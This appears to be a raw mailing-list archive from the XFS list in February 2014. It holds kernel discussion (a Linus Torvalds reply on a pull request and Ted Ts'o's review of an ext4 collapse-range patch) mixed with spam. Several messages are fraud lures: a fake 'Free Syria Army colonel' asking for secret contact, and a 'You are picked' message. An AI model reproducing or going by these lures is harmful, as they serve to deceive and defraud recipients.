7bit Date: Sat, 22 Feb 2014 16:27:04 +0100 From: Colonel AlKurdi Malik To: undisclosed-recipients:; Subject: Greetings Reply-To: X-ASG-Orig-Subj: Greetings Mail-Reply-To: Message-ID: <7923a3a01be6e9948d2106e985e43d32@pallamanoitalia.it> X-Sender: colonelallkurdimalik@yahoo.com User-Agent: RoundCube Webmail/0.5.1 X-Barracuda-Connect: mail.pallamanoitalia.it[83.103.59.151] X-Barracuda-Start-Time: 1393082833 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.41 X-Barracuda-Spam-Status: No, SCORE=1.41 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=FORGED_YAHOO_RCVD, FORGED_YAHOO_RCVD_2 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145392 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 FORGED_YAHOO_RCVD 'From' yahoo.com does not match 'Received' headers 1.41 FORGED_YAHOO_RCVD_2 'From' yahoo.com does not match 'Received' headers -- I am colonel Al-Kurdi Malik, A Syrian Citizen, I am the leader of the free Syria Army (FSA), My purpose of writing this massage to you is because i wan to have a personal discussion with you, please contact me on my private email address colonelalkurdimalik@gmail.com this will enable our conversation confidential and secret as you know my identity has to be protected. Best Regards Colonel Al-Kurdi Malik From colonelallkurdimalik@yahoo.com Sat Feb 22 10:28:01 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: *** X-Spam-Status: No, score=3.4 required=5.0 tests=FORGED_YAHOO_RCVD, FREEMAIL_FROM,FREEMAIL_REPLYTO,T_FILL_THIS_FORM_SHORT autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 6F4117F82 for ; Sat, 22 Feb 2014 10:28:01 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 4AD2D8F8033 for ; Sat, 22 Feb 2014 08:27:58 -0800 (PST) X-ASG-Debug-ID: 1393086475-04cbb00c286ca0d0001-NocioJ Received: from mail.pallamanoitalia.it (mail.pallamanoitalia.it [83.103.59.151]) by cuda.sgi.com with ESMTP id Crn4hhHoVijGrs7y (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sat, 22 Feb 2014 08:27:56 -0800 (PST) X-Barracuda-Envelope-From: colonelallkurdimalik@yahoo.com X-Barracuda-Apparent-Source-IP: 83.103.59.151 Received: (qmail 31420 invoked from network); 22 Feb 2014 17:27:55 +0100 Received: from unknown (HELO webmail.pallamanoitalia.it) (127.0.0.1) by mail.pallamanoitalia.it with SMTP; 22 Feb 2014 17:27:55 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit Date: Sat, 22 Feb 2014 17:27:54 +0100 From: Colonel AlKurdi Malik To: undisclosed-recipients:; Subject: Greetings Reply-To: X-ASG-Orig-Subj: Greetings Mail-Reply-To: Message-ID: X-Sender: colonelallkurdimalik@yahoo.com User-Agent: RoundCube Webmail/0.5.1 X-Barracuda-Connect: mail.pallamanoitalia.it[83.103.59.151] X-Barracuda-Start-Time: 1393086476 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.41 X-Barracuda-Spam-Status: No, SCORE=1.41 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=FORGED_YAHOO_RCVD, FORGED_YAHOO_RCVD_2 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145393 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 FORGED_YAHOO_RCVD 'From' yahoo.com does not match 'Received' headers 1.41 FORGED_YAHOO_RCVD_2 'From' yahoo.com does not match 'Received' headers -- I am colonel Al-Kurdi Malik, A Syrian Citizen, I am the leader of the free Syria Army (FSA), My purpose of writing this massage to you is because i wan to have a personal discussion with you, please contact me on my private email address colonelalkurdimalik@gmail.com this will enable our conversation confidential and secret as you know my identity has to be protected. Best Regards Colonel Al-Kurdi Malik From linus971@gmail.com Sat Feb 22 10:29:14 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 6703F7F82 for ; Sat, 22 Feb 2014 10:29:14 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id F269CAC001 for ; Sat, 22 Feb 2014 08:29:10 -0800 (PST) X-ASG-Debug-ID: 1393086549-04cbb00c296ca250001-NocioJ Received: from mail-ve0-f175.google.com (mail-ve0-f175.google.com [209.85.128.175]) by cuda.sgi.com with ESMTP id AKwecztDiVOqlT8I (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sat, 22 Feb 2014 08:29:09 -0800 (PST) X-Barracuda-Envelope-From: linus971@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.128.175 X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.175] Received: by mail-ve0-f175.google.com with SMTP id oy12so20419veb.34 for ; Sat, 22 Feb 2014 08:29:08 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.175] X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.175] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=qG09/3tZKdFMXg3OJECaxAg1sXwl7sBfMvHxNUPLNdU=; b=RCqXFQo1doV9IiTIwG7xW6fP+MIKdZU4mHAwqUYRJVOT/SUt9aDTkt+uSI7M76igda er6a5h+zTpmEIzQCfgRx+yxTXrrbbb2iOt2Z1YK4KuLqhiwXC27IAN+qv/rO+U8p+Ufq t0lqbOFNU2n8bCw1CqDdQ4YkcohMZWvq5+B8Eo3YzRkozeElkrhfKaSpkseTPHSGaswj sVdgpC/5ItTKPZkEE4QBGEapNRefv/FI2DcskM1qWg2MWhQweLfsF8Irei9Eoc92MD6y ohNs+Exyk7K6FM23IVpx5bQG4uSLMAV3Jo6XyCJ5HjgjLXXCmQScJZsBROE9H3dHc64d IrIA== DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=linux-foundation.org; s=google; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=qG09/3tZKdFMXg3OJECaxAg1sXwl7sBfMvHxNUPLNdU=; b=JAAA2I4/pFAQ0gDWyN3pSwh8BM7nCb8AHHgsq7ou+Mt41YLXxFc1e7+AP6S0EjkEWJ MkncF8HX++cM4ZBnnXfcz27Jpj0VD0OiNnqrETj+Y/eiCvEGdTZHXAP7a7v39XMY9URg 2s2xumFgVvSLSrRQEbZvb80DNE7AjVSjdko5o= MIME-Version: 1.0 X-Received: by 10.221.29.196 with SMTP id rz4mr8233144vcb.8.1393086548603; Sat, 22 Feb 2014 08:29:08 -0800 (PST) Sender: linus971@gmail.com Received: by 10.220.13.2 with HTTP; Sat, 22 Feb 2014 08:29:08 -0800 (PST) In-Reply-To: <20140221225943.GR13647@dastard> References: <20140221225943.GR13647@dastard> Date: Sat, 22 Feb 2014 08:29:08 -0800 X-Google-Sender-Auth: Uw2Sdt7Tgh3t6MkxL76VbO3SX7U Message-ID: Subject: Re: [GIT PULL] xfs: fixes for 3.14-rc3 From: Linus Torvalds X-ASG-Orig-Subj: Re: [GIT PULL] xfs: fixes for 3.14-rc3 To: Dave Chinner Cc: Linux Kernel Mailing List , xfs@oss.sgi.com Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-ve0-f175.google.com[209.85.128.175] X-Barracuda-Start-Time: 1393086549 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145393 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Fri, Feb 21, 2014 at 2:59 PM, Dave Chinner wrote: > > Anyway, I should have everything sorted out by the time the next > merge window comes around. If there's anything that you don't like > in the pull req, feel free to flame me unmercifully. So far so good. I really do want signed tags for hosting setups I don't know, but oss.sgi.com is not some random public hosting site, and as long as this gets sorted out by the next merge window it's all good. Linus From tytso@thunk.org Sat Feb 22 11:09:45 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 7C2847F87 for ; Sat, 22 Feb 2014 11:09:45 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 682B1304059 for ; Sat, 22 Feb 2014 09:09:42 -0800 (PST) X-ASG-Debug-ID: 1393088979-04cb6c6de26d5930001-NocioJ Received: from imap.thunk.org (imap.thunk.org [74.207.234.97]) by cuda.sgi.com with ESMTP id sn4WDuf7Gsct3fmp (version=TLSv1 cipher=AES128-SHA bits=128 verify=NO); Sat, 22 Feb 2014 09:09:40 -0800 (PST) X-Barracuda-Envelope-From: tytso@thunk.org X-Barracuda-Apparent-Source-IP: 74.207.234.97 Received: from root (helo=closure.thunk.org) by imap.thunk.org with local-esmtp (Exim 4.80) (envelope-from ) id 1WHG51-0005Sp-UO; Sat, 22 Feb 2014 17:09:35 +0000 Received: by closure.thunk.org (Postfix, from userid 15806) id 21F475802D4; Sat, 22 Feb 2014 12:09:30 -0500 (EST) DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=thunk.org; s=mail; t=1393088970; bh=u8BEbWYkYlZXydLxmOqHOO1+Dbzw/jnZoU6IYDfhR5o=; h=Date:From:To:Cc:Subject:References:In-Reply-To:From; b=q4oHX/+Op9ef0Dtuj9KCtoCNZ7uFUJFvM/jp3ELxL5ZyhrRciut8hA962Kkm/GNh8 b+P0pepDEObwu1WTwsNvXmI4blRAqo4fVzayFP0mtnc21KVKS8z6AiNFjLvyDZQnKc zsFZNmgM8l86Skwb+Byi5VeOEer60u+vP/XQJrIc= Date: Sat, 22 Feb 2014 12:09:30 -0500 From: Theodore Ts'o To: Namjae Jeon Cc: viro@zeniv.linux.org.uk, david@fromorbit.com, bpm@sgi.com, adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com, lczerner@redhat.com, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , Ashish Sangwan Subject: Re: [PATCH v6] ext4: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate Message-ID: <20140222170930.GE26637@thunk.org> X-ASG-Orig-Subj: Re: [PATCH v6] ext4: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate Mail-Followup-To: Theodore Ts'o , Namjae Jeon , viro@zeniv.linux.org.uk, david@fromorbit.com, bpm@sgi.com, adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com, lczerner@redhat.com, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , Ashish Sangwan References: <1392908861-3563-1-git-send-email-linkinjeon@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1392908861-3563-1-git-send-email-linkinjeon@gmail.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SA-Exim-Connect-IP: X-SA-Exim-Mail-From: tytso@thunk.org X-SA-Exim-Scanned: No (on imap.thunk.org); SAEximRunCond expanded to false X-Barracuda-Connect: imap.thunk.org[74.207.234.97] X-Barracuda-Start-Time: 1393088980 X-Barracuda-Encrypted: AES128-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145394 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Fri, Feb 21, 2014 at 12:07:41AM +0900, Namjae Jeon wrote: > From: Namjae Jeon > > This patch implements fallocate's FALLOC_FL_COLLAPSE_RANGE for Ext4. > > The semantics of this flag are following: > 1) It collapses the range lying between offset and length by removing any data > blocks which are present in this range and than updates all the logical > offsets of extents beyond "offset + len" to nullify the hole created by > removing blocks. In short, it does not leave a hole. > 2) It should be used exclusively. No other fallocate flag in combination. > 3) Offset and length supplied to fallocate should be fs block size aligned > in case of xfs and ext4. > 4) Collaspe range does not work beyond i_size. > > Signed-off-by: Namjae Jeon > Signed-off-by: Ashish Sangwan > Tested-by: Dongsu Park In terms of how to get this upstream, it looks like if we do something like this, we can let this patch go via the ext4 tree and we don't need to worry about whether the vfs level changes have gone in our not. diff --git a/fs/ext4/extents.c b/fs/ext4/extents.c index ad13359..d7a78ed 100644 --- a/fs/ext4/extents.c +++ b/fs/ext4/extents.c @@ -46,6 +46,10 @@ #include +#ifndef FALLOC_FL_COLLAPSE_RANGE +#define FALLOC_FL_COLLAPSE_RANGE 0x08 +#endif + /* * used by extent splitting. */ > + ret = ext4_es_remove_extent(inode, punch_start, > + EXT_MAX_BLOCKS - punch_start - 1); > + if (ret) { > + up_write(&EXT4_I(inode)->i_data_sem); > + goto out_stop; > + } Doing this at first is probably a bad idea; you should do this at the end, and then completely invalidate the es cache for that inode. That way, the right thing happens if you get an error in the middle releasing the boxes and shifting the extents: > + > + ret = ext4_ext_remove_space(inode, punch_start, punch_stop - 1); > + if (ret) { > + up_write(&EXT4_I(inode)->i_data_sem); > + goto out_stop; > + } > + > + ret = ext4_ext_shift_extents(inode, handle, punch_stop, > + punch_stop - punch_start); > + if (ret) { > + up_write(&EXT4_I(inode)->i_data_sem); > + goto out_stop; > + } The fact that you are doing these two as two separate steps is dangerous; what if you've already released the blocks in ext4_ext_remove_space(), and ext4_ext_shift_extents() fails in the middle of the processing? That will leave the file system inconsistent, which would be bad. Making sure that the right happens if there is a failure in the middle of the operation is Really Important.... - Ted From krose@sd43.bc.ca Sat Feb 22 12:37:21 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id BCE517F8B for ; Sat, 22 Feb 2014 12:37:21 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 4E32EAC003 for ; Sat, 22 Feb 2014 10:37:21 -0800 (PST) X-ASG-Debug-ID: 1393094235-04cb6c6de06dc580001-NocioJ Received: from na01-by2-obe.outbound.protection.outlook.com (mail-by2on0085.outbound.protection.outlook.com [207.46.100.85]) by cuda.sgi.com with ESMTP id iStTYtOZXlU01awR (version=TLSv1 cipher=AES128-SHA bits=128 verify=NO) for ; Sat, 22 Feb 2014 10:37:16 -0800 (PST) X-Barracuda-Envelope-From: krose@sd43.bc.ca X-Barracuda-Apparent-Source-IP: 207.46.100.85 Received: from BN1AFFO11FD021.protection.gbl (10.58.52.33) by BN1AFFO11HUB016.protection.gbl (10.58.52.126) with Microsoft SMTP Server (TLS) id 15.0.878.20; Sat, 22 Feb 2014 18:37:12 +0000 Received: from d00-s04-m09.sd43.bc.ca (142.35.6.131) by BN1AFFO11FD021.mail.protection.outlook.com (10.58.52.81) with Microsoft SMTP Server (TLS) id 15.0.878.20 via Frontend Transport; Sat, 22 Feb 2014 18:37:12 +0000 Received: from MAILSD43.sd43.bc.ca ([10.99.1.186]) by D00-S04-M09 ([10.99.1.221]) with mapi; Sat, 22 Feb 2014 10:37:07 -0800 From: "Rose, Karin" To: "Rose, Karin" Date: Sat, 22 Feb 2014 10:37:06 -0800 Subject: RE: FYI Thread-Topic: FYI X-ASG-Orig-Subj: RE: FYI Thread-Index: AQHPL/lXZhcH2siQWk67l+ZBM7ijlZrBk6Sq Message-ID: References: In-Reply-To: Accept-Language: en-US Content-Language: en-CA X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 X-EOPAttributedMessage: 0 X-Forefront-Antispam-Report: CIP:142.35.6.131;CTRY:CA;IPV:NLI;EFV:NLI;SFV:NSPM;SFS:(10009001)(6009001)(6039001)(377454003)(189002)(199002)(69234005)(325944007)(85306002)(87266001)(2656002)(87936001)(63696002)(50466002)(83072002)(76786001)(20776003)(47776003)(85852003)(79102001)(92566001)(92726001)(33656001)(86372001)(54316002)(95416001)(95666003)(53416003)(93136001)(53806001)(74366001)(59766001)(77982001)(56776001)(76482001)(86362001)(55846006)(93516002)(54356001)(94946001)(74876001)(56816005)(558084003)(90146001)(94316002)(31966008)(221733001)(80022001)(69226001)(46102001)(23756003)(74662001)(19580395003)(80976001)(65816001)(47446002)(83322001)(44976005)(81686001)(81816001)(6806004)(4396001)(49866001)(81542001)(50986001)(47976001)(47736001)(19580405001)(81342001);DIR:OUT;SFP:1101;SCL:1;SRVR:BN1AFFO11HUB016;H:d00-s04-m09.sd43.bc.ca;CLIP:142.35.6.131;FPR:BCB9C54F.103AAD59.95C41626.994A2FDF.20073;MLV:sfv;PTR:InfoDomainNonexistent;MX:1;A:1;LANG:en; X-OriginatorOrg: sd434.onmicrosoft.com X-Forefront-PRVS: 01304918F3 X-Barracuda-Connect: mail-by2on0085.outbound.protection.outlook.com[207.46.100.85] X-Barracuda-Start-Time: 1393094235 X-Barracuda-Encrypted: AES128-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.72 X-Barracuda-Spam-Status: No, SCORE=0.72 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, BSF_SC0_SA_TO_FROM_ADDR_MATCH, BSF_SC7_SA298e, THREAD_INDEX, THREAD_TOPIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145396 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.01 THREAD_TOPIC Thread-Topic: ...(Japanese Subject)... 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.50 BSF_SC0_SA_TO_FROM_ADDR_MATCH Sender Address Matches Recipient Address 0.20 BSF_SC7_SA298e Custom Rule SA298e ________________________________ From: Rose, Karin Sent: February 22, 2014 10:10 AM To: postmaster@info.org Subject: FYI You are picked,E-mail: gloriamackenzie-c@rogers.com for more info From bounce@trackmailing.com Sat Feb 22 13:19:58 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id E09017F85 for ; Sat, 22 Feb 2014 13:19:58 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id C34D78F8039 for ; Sat, 22 Feb 2014 11:19:58 -0800 (PST) X-ASG-Debug-ID: 1393096791-04cbb00c286d74a0001-w1Z2WR Received: from out29.trackmailing.com (out29.trackmailing.com [190.105.231.65]) by cuda.sgi.com with ESMTP id Hqtexuztjw5Kn5uW for ; Sat, 22 Feb 2014 11:19:52 -0800 (PST) X-Barracuda-Envelope-From: bounce@trackmailing.com X-Barracuda-Apparent-Source-IP: 190.105.231.65 Received: from ENGINE-GROWHIT (unknown [10.2.233.152]) by out29.trackmailing.com (Postfix) with ESMTP id 3A86161FEA for ; Fri, 14 Feb 2014 04:47:20 -0300 (ART) From: "Telemetria ZigBee" Reply-To: info@exemysmkt.com Subject: TUNEL 4-20ma y 0-10V Inalambrico 2.4GHz Date: Sat, 22 Feb 2014 16:37:41 -0300 X-ASG-Orig-Subj: TUNEL 4-20ma y 0-10V Inalambrico 2.4GHz To: List-Unsubscribe: MIME-Version: 1.0 X-Mailer: Followcampaign X-CMM-ID: 1-RbYT7dCB9kW6pscgFSI4XA-5OTb2pspEeOzhwAVXehgBg Precedence: bulk X-AntiAbuse: abuse@followcampaign.com Message-Id: <6009b01e1ba5405a9ba9cbab20fbbf77@followcampaign.com> Content-Type: multipart/alternative; boundary=1f396cf123d724d599315cd43f3557fd141 X-Barracuda-Connect: out29.trackmailing.com[190.105.231.65] X-Barracuda-Start-Time: 1393096791 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085, BSF_SC1_TG070, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145397 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.10 BSF_SC0_SA085 Custom Rule SA085 0.50 BSF_SC1_TG070 Custom Rule TG070 This is a multi-part message in MIME format. --1f396cf123d724d599315cd43f3557fd141 Content-type: text/plain; charset=Windows-1252 Content-transfer-encoding: Quoted-Printable wTunnel (Entradas y Salidas Reflejadas, Inal=E1mbricas) ********************= *********************** Si tiene problemas para visualizar este mail, ingres= e aqui: http://www.exemysrd.com/newsletter/castellano/wTunnel/ = Continuando con la familia de dispositivos Inal=E1mbricos de 2.4GHz, Exemys= lanza = un dispositivo T=FAnel de Entradas y Salidas, apto para ambientes industria= les. El nuevo wTunnel,permite replicar a la distancia el estado de entradas,= salidas y puertos seriales. T=FAneles: -------- Los t=FAneles que puede gener= ar el dispositivo wTunnel son los siguientes: 1) T=FAnel de I / O Anal=F3gic= o NUEVA FUNCION ---------------------------------------------- El valor de un= a entrada anal=F3gica se ver=E1reflejada en la salida anal=F3gica del equipo= remoto. = 2) T=FAnel de I / O Digitales -------------------------- Con =E9ste t=FAnel s= e puede replicar la activaci=F3n de una entrada, como una salida = del otro extremo, y viceversa. 3) T=FAnel de Entradas 0-10V, 4-20mA con Sali= da Digital -------------------------------------------------------- Se config= uran 2 valores en las entradas de 0-10V o 4-20mA de un extremo, las cuales = que disparan en el otro extremo, el encendido o apagado de una se=F1al digi= tal. 4) T=FAnel de Puerto Serie RS232 / 485 / USB. --------------------------= ------------------ Se replica la informaci=F3n que circula por el puerto ser= ie de un extremo, en el = otro extremo. El dispositivo posee un puerto serie RS232, RS485 o USB *******= ********************************************************* MAS INFORMACION = http://www.exemysrd.com/newsletter/castellano/presupuesto.html?product=3DwT= unnel **************************************************************** ------= -------------------------------------------------------------------- Webinar= ios Online sin Costo = http://www.exemysrd.com/newsletter/castellano/webinarios.html --------------= ------------------------------------------------------------ Quienes Somos --= ------------- Fabricaci=F3n de productos de Conectividad para el Monitoreo, = Adquisici=F3n y Control = Industrial. =95 Empresa Argentina =95 M=E1s de 10 a=F1os de Trayectoria =95 Ce= rtificaci=F3n ISO9001:2008 =95 Certificaci=F3n UL 60950 =95 Incorporados a la= ley de Software =95 Exportaci=F3n a USA, Canad=E1, LATAM = =95 Conversores de Protocolos =95 Servidores Seriales =95 Telemetr=EDa Celula= r =95 Adquisidores Anal=F3gicos =95 Supervisi=F3n v=EDa Internet =95 Conversor= es de Medio =95 Ethernet Industrial = EXEMYS Av. Juan B. Justo 4054 C1416DJU Ciudad Aut=F3noma de Buenos Aires Argent= ina Tel: ( 54-11) 4585-7585 Fax: ( 54-11) 4585-7278 Click aquia para desuscrib= ir --1f396cf123d724d599315cd43f3557fd141 Content-type: text/html; charset=Windows-1252 Content-transfer-encoding: Quoted-Printable

wTunnel - Tunel Inalambrico de I/O digitales y analogicas, en 2.4G= Hz

= =A0

Si tiene problemas p= ara visualizar este mail, Haga clic aqu=ED

3D"top"
=A0

Continuando con la familia d= e dispositivos Inal=E1mbricos de 2.4GHz, Exemys lanza un dispositivo
T=FAnel de Entradas y Salidas, apto para ambientes industria= les.

El nuevo wTunnel, per= mite replicar a la distancia el estado de entradas, salidas= y puertos seriales.

=

T=FAnel de Puerto Serie RS232 / 485 / USB

Se replica la informaci=F3= n que circula por el puerto serie de un extremo, en el otro extremo.
El dispositivo posee un puerto serie RS232, RS485 o USB
3D"img3"
<= td height=3D"0">=A0
3D"img1"
=A0
T=FAneles:
Los t=FAnel= es que puede generar el dispositivo wTunnel son los siguientes:
=A0

T=FAnel de I / O Anal=F3gico =A0=A0NUEVA FUNCION

El valor de una entrada anal=F3gica se ver=E1 = reflejada en la salida anal=F3gica del equipo remoto.
3D"img3"
=
=A0

T=FAne= l de I / O Digitales

Con =E9ste t=FAnel se puede replicar la activaci=F3n de una entrada= , como una salida del otro extremo, y viceversa.
3D"img3"
=A0

T=FAnel de Entradas 0-10V, 4-2= 0mA con Salida Digital

Se configuran 2 valores en las entradas de 0-10V o 4-20mA de un e= xtremo, las cuales que disparan en el otro extremo, el encendido o apagado = de una se=F1al digital.
3D"img3"
=A0
=A0
= 3D"webinarios"
3D"img1"

3D"Quienes

F= abricaci=F3n de productos de Conectividad para el Monitoreo, Adquisici=F3n = y Control Industrial.

=95 Empresa Argentina
=95 M=E1s de 10 a= =F1os de Trayectoria
=95 Certificaci=F3n ISO9001:2008
=95 Certifica= ci=F3n UL 60950
=95 Incorporados a la ley de Software
=95 Exportaci= =F3n a USA, Canad=E1, LATAM


3D"ISO =
=A0
3D"Nuestros

=95 Conversores de Protocolos
=95 Servido= res Seriales
=95 Telemetr=EDa Celular
=95 Adquisidores Anal=F3gicos=
=95 Supervisi=F3n v=EDa Internet
=95 Conversores de Medio
=95 = Ethernet Industrial

3D"webinarios"
=A0
=A0
=A03D"Contacto"

Av. Juan B. Justo = 4054
C1416DJU
Ciudad Aut=F3noma de Buenos Aires Argentina

= Tel: ( 54-11) 4585-7585
Fax: ( 54-11) 4585-7278


Click aqu=ED para desuscribir

--1f396cf123d724d599315cd43f3557fd141-- From gunalan@dvs.gov.my Sat Feb 22 23:46:45 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: **** X-Spam-Status: No, score=4.6 required=5.0 tests=HTML_MESSAGE,LOTS_OF_MONEY, MONEY_FROM_41,US_DOLLARS_3 autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id D935B7F62 for ; Sat, 22 Feb 2014 23:46:44 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 624F6AC001 for ; Sat, 22 Feb 2014 21:46:40 -0800 (PST) X-ASG-Debug-ID: 1393134394-04cbb00c286f0f10001-NocioJ Received: from webmail.dvs.gov.my (webmail.dvs.gov.my [202.75.7.55]) by cuda.sgi.com with ESMTP id Azp2BFX55piGClUT for ; Sat, 22 Feb 2014 21:46:35 -0800 (PST) X-Barracuda-Envelope-From: gunalan@dvs.gov.my 